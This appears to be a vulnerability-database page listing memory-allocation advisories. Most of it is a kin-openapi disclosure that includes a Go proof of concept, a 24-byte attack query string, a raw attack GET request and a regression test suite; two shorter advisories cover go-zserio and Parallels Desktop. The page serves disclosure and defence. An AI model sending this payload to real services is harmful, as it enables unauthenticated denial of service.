github.com/getkin/kin-openapi/openapi3filterto validate requests against a spec that declares anin: query,style: deepObjectparameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec. - Attack: a single unauthenticated
GETrequest with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding orContent-Lengthtrickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it. - Consequence: a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared
maxItemsconstraint on the array does not prevent this, because materialization happens during decoding, strictly before schema validation runs. - Not affected: specs that do not use
style: deepObjectfor array-bearing query parameters; requests viaapplication/json,x-www-form-urlencoded, ormultipart/form-databodies; andpath/header/cookiestyled object parameters (all verified empirically above, and re-verified in this pass).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.124.0"
},
{
"fixed": "0.142.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77354"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:56:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index \u2014 *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k) // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k // max = attacker\u0027s index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ { // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil) // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps \u2014 with **no upper bound** other than `strconv.Atoi`\u0027s `int` range (~9.2\u00d710\u00b9\u2078 on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects \u2014 and rejects \u2014 the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec \u2014 it is exactly the pattern the library\u0027s own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** \u2014 one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router \u2192 `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection \u2014 proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000\u00d7 |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000\u00d7 |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000\u00d7 |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000\u00d7 |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000\u00d7 |\n\n**Attack request** (nothing else required \u2014 no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** \u2014 a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /b:\n post:\n requestBody:\n content:\n application/json:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n multipart/form-data:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /p/{param}:\n get:\n parameters:\n - name: param\n in: path\n required: true\n style: simple\n explode: false\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 \u2192 937.5 KiB through 50,000,000 \u2192 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired \u2014 both matching the standalone PoC\u0027s findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21\u201324 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery \u2014 the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB\u20132 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).",
"id": "GHSA-xhj3-7xw9-vr34",
"modified": "2026-08-21T20:56:56Z",
"published": "2026-08-21T20:56:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding"
}
GHSA-XHJ4-G6W8-2XJW
Vulnerability from github – Published: 2026-04-24 16:25 – Updated: 2026-04-24 16:25Impact
When deserializing arrays, strings or bytes (blob) types zserio first reads the size of the variable, and then allocates sufficient memory to load data. Since the size is always trusted this can be abused by creating a data file with a large size value, causing the zserio runtime to allocate large amounts of memory.
Patches
Please apply this commit.
Workarounds
- Do not accept zserio data from non-trusted sources.
- Use secure transportation protocols (like TLS).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/woven-planet/go-zserio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:25:54Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\n\nWhen deserializing arrays, strings or bytes (blob) types zserio first reads the size of the variable, and then allocates sufficient memory to load data. Since the size is always trusted this can be abused by creating a data file with a large size value, causing the zserio runtime to allocate large amounts of memory.\n\n### Patches\n\nPlease apply [this commit](https://github.com/woven-by-toyota/go-zserio/commit/39ef1decde7e9766207794d396018776b33c6e45).\n\n### Workarounds\n\n- Do not accept zserio data from non-trusted sources.\n- Use secure transportation protocols (like TLS).",
"id": "GHSA-xhj4-g6w8-2xjw",
"modified": "2026-04-24T16:25:54Z",
"published": "2026-04-24T16:25:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/woven-by-toyota/go-zserio/security/advisories/GHSA-xhj4-g6w8-2xjw"
},
{
"type": "WEB",
"url": "https://github.com/woven-by-toyota/go-zserio/commit/39ef1decde7e9766207794d396018776b33c6e45"
},
{
"type": "PACKAGE",
"url": "https://github.com/woven-by-toyota/go-zserio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "go-zserio has Unbounded Memory Allocation for All Platforms"
}
GHSA-XR5H-RXWF-6Q73
Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-01 00:00This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13712.
{
"affected": [],
"aliases": [
"CVE-2021-34868"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-25T16:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13712.",
"id": "GHSA-xr5h-rxwf-6q73",
"modified": "2022-02-01T00:00:49Z",
"published": "2022-01-26T00:01:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34868"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/125013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1056"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.